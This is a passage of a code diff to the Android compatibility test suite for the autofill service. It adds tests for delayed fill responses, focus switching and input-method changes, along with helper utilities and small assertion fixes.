@@ -275,10 +275,10 @@
                 .build());
 
         // Trigger autofill for the first time.
-        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
 
         // Launch activity again.
-        passedTime += launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
 
         // Make sure other app is working.
         passedTime += launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
@@ -334,7 +334,6 @@
         }
         Log.v(TAG, "Sleeping for " + napTime + "ms (duration=" + disableDuration + "ms, passedTime="
                 + passedTime + ")");
-
         SystemClock.sleep(napTime);
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 533b8df..b3315fd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -18,6 +18,7 @@
 
 import static android.autofillservice.cts.UiBot.PORTRAIT;
 import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+import static android.provider.Settings.Secure.SELECTED_INPUT_METHOD_SUBTYPE;
 import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
 import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
 import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
@@ -37,6 +38,7 @@
 import android.app.assist.AssistStructure.ViewNode;
 import android.app.assist.AssistStructure.WindowNode;
 import android.content.ComponentName;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
@@ -45,6 +47,7 @@
 import android.icu.util.Calendar;
 import android.os.Bundle;
 import android.os.Environment;
+import android.provider.Settings;
 import android.service.autofill.FieldClassification;
 import android.service.autofill.FieldClassification.Match;
 import android.service.autofill.FillContext;
@@ -1539,12 +1542,18 @@
     private static InlinePresentation createInlinePresentation(@NonNull String message,
             @NonNull PendingIntent attribution, boolean pinned) {
         return new InlinePresentation(
-                InlineSuggestionUi.newContentBuilder().setAttribution(attribution)
+                InlineSuggestionUi.newContentBuilder(attribution)
                         .setTitle(message).build().getSlice(),
                 new InlinePresentationSpec.Builder(new Size(100, 100), new Size(400, 100))
                         .build(), /* pinned= */ pinned);
     }
 
+    public static void mockSwitchInputMethod(@NonNull Context context) throws Exception {
+        final ContentResolver cr = context.getContentResolver();
+        final int subtype = Settings.Secure.getInt(cr, SELECTED_INPUT_METHOD_SUBTYPE);
+        Settings.Secure.putInt(cr, SELECTED_INPUT_METHOD_SUBTYPE, subtype);
+    }
+
     private Helper() {
         throw new UnsupportedOperationException("contain static methods only");
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
index 9b49073..43c7355 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
@@ -25,6 +25,7 @@
 import static android.autofillservice.cts.Timeouts.FILL_EVENTS_TIMEOUT;
 import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
 import static android.autofillservice.cts.Timeouts.IDLE_UNBIND_TIMEOUT;
+import static android.autofillservice.cts.Timeouts.RESPONSE_DELAY_MS;
 import static android.autofillservice.cts.Timeouts.SAVE_TIMEOUT;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -110,6 +111,7 @@
         sInstance.set(this);
         sServiceLabel = SERVICE_CLASS;
         mHandler = Handler.createAsync(sMyThread.getLooper());
+        sReplier.setHandler(mHandler);
     }
 
     private static InstrumentedAutoFillService peekInstance() {
@@ -236,7 +238,7 @@
         mHandler.post(
                 () -> sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
                         cancellationSignal, callback, request.getFlags(),
-                        request.getInlineSuggestionsRequest()));
+                        request.getInlineSuggestionsRequest(), request.getId()));
     }
 
     @Override
@@ -432,6 +434,8 @@
         private IntentSender mOnSaveIntentSender;
         private String mAcceptedPackageName;
 
+        private Handler mHandler;
+
         private boolean mReportUnhandledFillRequest = true;
         private boolean mReportUnhandledSaveRequest = true;
 
@@ -592,6 +596,10 @@
                     + mSaveRequests);
         }
 
+        public void setHandler(Handler handler) {
+            mHandler = handler;
+        }
+
         /**
          * Resets its internal state.
          */
@@ -608,7 +616,7 @@
 
         private void onFillRequest(List<FillContext> contexts, Bundle data,
                 CancellationSignal cancellationSignal, FillCallback callback, int flags,
-                InlineSuggestionsRequest inlineRequest) {
+                InlineSuggestionsRequest inlineRequest, int requestId) {
             try {
                 CannedFillResponse response = null;
                 try {
@@ -676,8 +684,20 @@
                         throw new IllegalStateException("Unknown id mode: " + mIdMode);
                 }
 
-                Log.v(TAG, "onFillRequest(): fillResponse = " + fillResponse);
-                callback.onSuccess(fillResponse);
+                if (response.getResponseType() == ResponseType.DELAY) {
+                    mHandler.postDelayed(() -> {
+                        Log.v(TAG,
+                                "onFillRequest(" + requestId + "): fillResponse = " + fillResponse);
+                        callback.onSuccess(fillResponse);
+                        // Add a fill request to let test case know response was sent.
+                        Helper.offer(mFillRequests,
+                                new FillRequest(contexts, data, cancellationSignal, callback,
+                                        flags, inlineRequest), CONNECTION_TIMEOUT.ms());
+                    }, RESPONSE_DELAY_MS);
+                } else {
+                    Log.v(TAG, "onFillRequest(" + requestId + "): fillResponse = " + fillResponse);
+                    callback.onSuccess(fillResponse);
+                }
             } catch (Throwable t) {
                 addException(t);
             } finally {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java
index 48a2be9..1bad60a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java
@@ -23,6 +23,7 @@
 import static android.autofillservice.cts.Helper.assertTextIsSanitized;
 import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
 import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
 import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -116,6 +117,10 @@
         // Set service.
         enableService();
 
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final View username = mActivity.getUsername();
+        final View password = mActivity.getPassword();
+
         String[] expectedDatasets = new String[numDatasets];
         final CannedFillResponse.Builder builder = new CannedFillResponse.Builder();
         for (int i = 0; i < numDatasets; i++) {
@@ -135,11 +140,13 @@
         mUiBot.waitForIdle();
 
         mUiBot.assertDatasets(expectedDatasets);
+        callback.assertUiShownEvent(username);
 
         mUiBot.selectDataset(expectedDatasets[selectedDatasetIndex]);
 
         // Check the results.
         mActivity.assertAutoFilled();
+        callback.assertUiHiddenEvent(username);
 
         // Make sure input was sanitized.
         final InstrumentedAutoFillService.FillRequest request = sReplier.getNextFillRequest();
@@ -160,4 +167,140 @@
         assertWithMessage("Password node is focused").that(
                 findNodeByResourceId(request.structure, ID_PASSWORD).isFocused()).isFalse();
     }
+
+    @Test
+    public void testClearFocusBeforeRespond() throws Exception {
+        // Set service
+        enableService();
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+
+        // Clear focus before responded
+        mActivity.onUsername(View::clearFocus);
+        mUiBot.waitForIdleSync();
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation("The Dude", isInlineMode())
+                        .build());
+        sReplier.addResponse(builder.build());
+        sReplier.getNextFillRequest();
+
+        // Confirm no datasets shown
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Test
+    public void testSwitchFocusBeforeResponse() throws Exception {
+        // Set service
+        enableService();
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+
+        // Trigger second fill request
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mUiBot.waitForIdleSync();
+
+        // Respond for username
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation("The Dude", isInlineMode())
+                        .build())
+                .build());
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+
+        // Set expectations and respond for password
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation("The Password", isInlineMode())
+                        .build())
+                .build());
+        sReplier.getNextFillRequest();
+
+        // confirm second response shown
+        mUiBot.assertDatasets("The Password");
+    }
+
+    @Test
+    public void testManualRequestWhileFirstResponseDelayed() throws Exception {
+        // Set service
+        enableService();
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+
+        // Trigger second fill request
+        mActivity.forceAutofillOnUsername();
+        mUiBot.waitForIdleSync();
+
+        // Respond for first request
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation("The Dude", isInlineMode())
+                        .build())
+                .build());
+        sReplier.getNextFillRequest();
+
+        // Set expectations and respond for second request
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude2")
+                        .setPresentation("The Dude 2", isInlineMode())
+                        .build()).build());
+        sReplier.getNextFillRequest();
+
+        // confirm second response shown
+        mUiBot.assertDatasets("The Dude 2");
+    }
+
+    @Test
+    public void testResponseFirstAfterResponseSecond() throws Exception {
+        // Set service
+        enableService();
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+
+        // Trigger second fill request
+        mActivity.forceAutofillOnUsername();
+        mUiBot.waitForIdleSync();
+
+        // Respond for first request
+        sReplier.addResponse(new CannedFillResponse.Builder(CannedFillResponse.ResponseType.DELAY)
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation("The Dude", isInlineMode())
+                        .build())
+                .build());
+        sReplier.getNextFillRequest();
+
+        // Set expectations and respond for second request
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude2")
+                        .setPresentation("The Dude 2", isInlineMode())
+                        .build()).build());
+        sReplier.getNextFillRequest();
+
+        // confirm second response shown
+        mUiBot.assertDatasets("The Dude 2");
+
+        // Wait first response was sent
+        sReplier.getNextFillRequest();
+
+        // confirm second response still shown
+        mUiBot.assertDatasets("The Dude 2");
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 6baa5a1..9e7c599 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -501,7 +501,12 @@
                 "Username1 at " + usernameBoundaries1 + "; picker at " + usernamePickerBoundaries1);
         // TODO(b/37566627): assertions below might be too aggressive - use range instead?
         if (pickerAndViewBoundsMatches) {
-            assertThat(usernamePickerBoundaries1.top).isEqualTo(usernameBoundaries1.bottom);
+            if (usernamePickerBoundaries1.top < usernameBoundaries1.bottom) {
+                assertThat(usernamePickerBoundaries1.bottom).isEqualTo(usernameBoundaries1.top);
+            } else {
+                assertThat(usernamePickerBoundaries1.top).isEqualTo(usernameBoundaries1.bottom);
+            }
+
             assertThat(usernamePickerBoundaries1.left).isEqualTo(usernameBoundaries1.left);
         }
 
@@ -514,7 +519,11 @@
                 "Password1 at " + passwordBoundaries1 + "; picker at " + passwordPickerBoundaries1);
         // TODO(b/37566627): assertions below might be too aggressive - use range instead?
         if (pickerAndViewBoundsMatches) {
-            assertThat(passwordPickerBoundaries1.top).isEqualTo(passwordBoundaries1.bottom);
+            if (passwordPickerBoundaries1.top < passwordBoundaries1.bottom) {
+                assertThat(passwordPickerBoundaries1.bottom).isEqualTo(passwordBoundaries1.top);
+            } else {
+                assertThat(passwordPickerBoundaries1.top).isEqualTo(passwordBoundaries1.bottom);
+            }
             assertThat(passwordPickerBoundaries1.left).isEqualTo(passwordBoundaries1.left);
         }
 
@@ -2858,4 +2867,39 @@
         // Verify auto-fill has been triggered.
         mUiBot.assertDatasetsContains("The Dude");
     }
+
+    @Test
+    @AppModeFull(reason = "WRITE_SECURE_SETTING permission can't be grant to instant apps")
+    public void testSwitchInputMethod_noNewFillRequest() throws Exception {
+        // Set service
+        enableService();
+
+        // Set expectations
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build());
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasetsContains("The Dude");
+
+        // Trigger IME switch event
+        Helper.mockSwitchInputMethod(sContext);
+        mUiBot.waitForIdleSync();
+
+        // Tap password field
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mUiBot.waitForIdleSync();
+
+        mUiBot.assertDatasetsContains("The Dude");
+
+        // No new fill request
+        sReplier.assertNoUnhandledFillRequests();
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java b/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java
new file mode 100644
index 0000000..8a397d9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that improves autofill-related environment by:
+ *
+ * <ol>
+ *   <li>Setting max_visible_datasets before and after test.
+ * </ol>
+ */
+public final class MaxVisibleDatasetsRule implements TestRule {
+
+    private static final String TAG = MaxVisibleDatasetsRule.class.getSimpleName();
+
+    private final int mMaxNumber;
+
+    /**
+     * Creates a MaxVisibleDatasetsRule with given datasets values.
+     *
+     * @param maxNumber The desired max_visible_datasets value for a test,
+     * after the test it will be replaced by the original value
+     */
+    public MaxVisibleDatasetsRule(int maxNumber) {
+        mMaxNumber = maxNumber;
+    }
+
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                final int original = Helper.getMaxVisibleDatasets();
+                Helper.setMaxVisibleDatasets(mMaxNumber);
+                try {
+                    base.evaluate();
+                } finally {
+                    Helper.setMaxVisibleDatasets(original);
+                }
+            }
+        };
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/NonAutofillableActivity.java b/tests/autofillservice/src/android/autofillservice/cts/NonAutofillableActivity.java
new file mode 100644
index 0000000..3233cd4
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/NonAutofillableActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+
+public final class NonAutofillableActivity extends AbstractAutoFillActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.non_autofillable_activity);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
index 22ba3b9..54f391b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
@@ -26,6 +26,8 @@
 import android.provider.Settings;
 import android.support.test.uiautomator.UiObject2;
 
+import com.android.compatibility.common.util.FeatureUtil;
+
 import org.junit.After;
 import org.junit.Test;
 
@@ -51,8 +53,12 @@
 
     @After
     public void killSettings() {
-        // Make sure there's no Settings activity left , as it could fail future tests.
-        runShellCommand("am force-stop com.android.settings");
+        // Make sure there's no Settings activity left, as it could fail future tests.
+        if (FeatureUtil.isAutomotive()) {
+            runShellCommand("am force-stop com.android.car.settings");
+        } else {
+            runShellCommand("am force-stop com.android.settings");
+        }
     }
 
     @Test
@@ -65,6 +71,7 @@
         // Asserts services are shown.
         mUiBot.assertShownByText(InstrumentedAutoFillService.sServiceLabel);
         mUiBot.assertShownByText(InstrumentedAutoFillServiceCompatMode.sServiceLabel);
+        mUiBot.scrollToTextObject(NoOpAutofillService.SERVICE_LABEL);
         mUiBot.assertShownByText(NoOpAutofillService.SERVICE_LABEL);
         mUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index f67bd5c..fb878d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -1812,7 +1812,7 @@
 
         // Tapping URLSpan.
         final URLSpan span = mUiBot.findFirstUrlSpanWithText("Here is URLSpan");
-        span.onClick(/* unused= */ null);
+        mActivity.syncRunOnUiThread(() -> span.onClick(/* unused= */ null));
         // Waits for the save UI hided
         mUiBot.waitForIdle();
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java b/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java
index 70f1d86..a7f5c21 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java
@@ -30,6 +30,7 @@
     public static final long DRAWABLE_TIMEOUT_MS = 5_000;
 
     public static final long LONG_PRESS_MS = 3000;
+    public static final long RESPONSE_DELAY_MS = 1000;
 
     /**
      * Timeout until framework binds / unbinds from service.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 0bfceb5..88173d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -51,9 +51,13 @@
 import android.service.autofill.SaveInfo;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.Direction;
 import android.support.test.uiautomator.SearchCondition;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.text.Html;
 import android.text.Spanned;
@@ -381,6 +385,30 @@
     }
 
     /**
+     * Asserts the suggestion chooser is shown in the suggestion view.
+     */
+    public void assertSuggestion(String name) throws Exception {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * Asserts the suggestion chooser is not shown in the suggestion view.
+     */
+    public void assertNoSuggestion(String name) throws Exception {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * Scrolls the suggestion view.
+     *
+     * @param direction The direction to scroll.
+     * @param speed The speed to scroll per second.
+     */
+    public void scrollSuggestionView(Direction direction, int speed) throws Exception {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
      * Selects a view by text.
      *
      * <p><b>NOTE:</b> when selecting an option in dataset picker is shown, prefer
@@ -1221,4 +1249,15 @@
                 .getSpans(0, accessibilityTextWithSpan.length(), URLSpan.class);
         return spans[0];
     }
+
+    public boolean scrollToTextObject(String text) {
+        UiScrollable scroller = new UiScrollable(new UiSelector().scrollable(true));
+        try {
+            // Swipe far away from the edges to avoid triggering navigation gestures
+            scroller.setSwipeDeadZonePercentage(0.25);
+            return scroller.scrollTextIntoView(text);
+        } catch (UiObjectNotFoundException e) {
+            return false;
+        }
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
index c9f676f..6634ec0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
@@ -110,9 +110,9 @@
         DisplayMetrics metrics = new DisplayMetrics();
         WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
         wm.getDefaultDisplay().getMetrics(metrics);
-        mTopMargin = metrics.heightPixels * 5 / 100;
-        mLeftMargin = metrics.widthPixels * 5 / 100;
-        mTextHeight = metrics.widthPixels * 5 / 100; // adjust text size with display width
+        mTopMargin = metrics.heightPixels * 3 / 100;
+        mLeftMargin = metrics.widthPixels * 3 / 100;
+        mTextHeight = metrics.widthPixels * 3 / 100; // adjust text size with display width
         mVerticalGap = metrics.heightPixels / 100;
 
         mLineLength = mTextHeight + mVerticalGap;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
new file mode 100644
index 0000000..036e744
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.inline;
+
+import static android.autofillservice.cts.Helper.getContext;
+import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+
+import android.autofillservice.cts.DatasetFilteringTest;
+import android.autofillservice.cts.Helper;
+
+import org.junit.rules.TestRule;
+
+public class DatasetFilteringInlineTest extends DatasetFilteringTest {
+    public DatasetFilteringInlineTest() {
+        super(getInlineUiBot());
+    }
+
+
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
+    @Override
+    protected boolean isInlineMode() {
+        return true;
+    }
+
+    @Override
+    protected void enableService() {
+        Helper.enableAutofillService(getContext(), SERVICE_NAME);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
index 541f5e0..332c645 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
@@ -28,11 +28,14 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.autofillservice.cts.AutofillActivityTestRule;
+import android.autofillservice.cts.Helper;
+import android.autofillservice.cts.MyAutofillCallback;
 import android.autofillservice.cts.augmented.AugmentedAutofillAutoActivityLaunchTestCase;
 import android.autofillservice.cts.augmented.AugmentedLoginActivity;
 import android.autofillservice.cts.augmented.CannedAugmentedFillResponse;
 import android.autofillservice.cts.augmented.CtsAugmentedAutofillService;
 import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.FillEventHistory;
 import android.service.autofill.FillEventHistory.Event;
 import android.view.autofill.AutofillId;
@@ -40,6 +43,7 @@
 import android.widget.EditText;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 import java.util.List;
 
@@ -63,6 +67,11 @@
         };
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testAugmentedAutoFill_oneDatasetThenFilled() throws Exception {
         // Set services
@@ -173,6 +182,8 @@
     }
 
     private void testBasicLoginAutofill() throws Exception {
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
         // Set expectations
         final EditText username = mActivity.getUsername();
         final EditText password = mActivity.getPassword();
@@ -200,6 +211,7 @@
 
         // Confirm two suggestion
         mUiBot.assertDatasets("dude");
+        callback.assertUiShownEvent(username);
 
         mActivity.expectAutoFill("dude", "sweet");
 
@@ -208,6 +220,8 @@
         mUiBot.waitForIdle();
 
         mActivity.assertAutoFilled();
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiHiddenEvent(username);
     }
 
     @Test
@@ -281,4 +295,103 @@
         // Expect the inline suggestion to disappear.
         mUiBot.assertNoDatasets();
     }
+
+    @Test
+    @AppModeFull(reason = "WRITE_SECURE_SETTING permission can't be grant to instant apps")
+    public void testSwitchInputMethod() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+        sReplier.addResponse(NO_RESPONSE);
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
+                        .setField(usernameId, "dude", createInlinePresentation("dude"))
+                        .build())
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("req1")
+                        .build(), usernameId)
+                .build());
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        sAugmentedReplier.getNextFillRequest();
+
+        // Confirm suggestion
+        mUiBot.assertDatasets("dude");
+
+        // Trigger IME switch event
+        Helper.mockSwitchInputMethod(sContext);
+        mUiBot.waitForIdleSync();
+
+        // Set new expectations
+        sReplier.addResponse(NO_RESPONSE);
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me 2")
+                        .setField(usernameId, "dude2", createInlinePresentation("dude2"))
+                        .build())
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("req2")
+                        .build(), usernameId)
+                .build());
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        sAugmentedReplier.getNextFillRequest();
+
+        // Confirm new suggestion
+        mUiBot.assertDatasets("dude2");
+    }
+
+    @Test
+    @AppModeFull(reason = "WRITE_SECURE_SETTING permission can't be grant to instant apps")
+    public void testSwitchInputMethod_mainServiceDisabled() throws Exception {
+        // Set services
+        Helper.disableAutofillService(sContext);
+        enableAugmentedService();
+
+        // Set expectations
+        final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
+                        .setField(usernameId, "dude", createInlinePresentation("dude"))
+                        .build())
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("req1")
+                        .build(), usernameId)
+                .build());
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sAugmentedReplier.getNextFillRequest();
+
+        // Confirm suggestion
+        mUiBot.assertDatasets("dude");
+
+        // Trigger IME switch event
+        Helper.mockSwitchInputMethod(sContext);
+        mUiBot.waitForIdleSync();
+
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me 2")
+                        .setField(usernameId, "dude2", createInlinePresentation("dude2"))
+                        .build())
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("req2")
+                        .build(), usernameId)
+                .build());
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+
+        // Confirm new fill request
+        sAugmentedReplier.getNextFillRequest();
+
+        // Confirm new suggestion
+        mUiBot.assertDatasets("dude2");
